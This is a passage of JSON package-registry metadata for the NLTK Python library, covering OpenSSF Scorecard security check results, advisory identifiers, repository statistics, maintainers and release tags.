to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:23:21.452Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":14866,"followers":264,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2024-03-25T20:23:21.875Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.583Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":433,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2025-06-08T15:42:01.674Z","updated_at":"2025-06-08T15:42:01.674Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":4641,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1728},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-06-10T05:18:29.151Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":5284381,"name":"nltk","ecosystem":"conda","description":"NLTK has been called a wonderful tool for teaching and working in computational linguistics using Python and an amazing library to play with natural language.","homepage":"https://www.nltk.org","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":null,"versions_count":19,"first_release_published_at":"2017-09-11T13:26:21.000Z","latest_release_published_at":"2026-04-01T21:39:40.000Z","latest_release_number":"3.9.4","last_synced_at":"2026-04-02T15:03:42.303Z","created_at":"2022-10-03T15:40:49.360Z","updated_at":"2026-04-02T15:14:13.017Z","registry_url":"https://anaconda.org/anaconda/nltk","install_command":"conda install -c anaconda nltk","documentation_url":null,"metadata":{},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2026-03-24T06:10:45.000Z","size":355260,"stargazers_count":14575,"open_issues_count":277,"forks_count":3003,"subscribers_count":442,"default_branch":"develop","last_synced_at":"2026-03-27T05:59:03.854Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2026-03-27T05:49:14.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31082046,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-28T02:23:35.801Z","status":"ssl_error","status_checked_at":"2026-03-28T02:23:32.528Z","response_time":79,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:23:21.452Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":14866,"followers":264,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2024-03-25T20:23:21.875Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"tags":[{"name":"3.9.4","sha":"ad9c96ba00a16923ffe917eacf63f1707bfa2d08","kind":"tag","published_at":"2026-03-24T06:10:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4/manifests"},{"name":"3.9.3","sha":"4154eb85e832f266660a09286c7e37e308292284","kind":"tag","published_at":"2026-02-24T11:52:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3/manifests"},{"name":"3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.2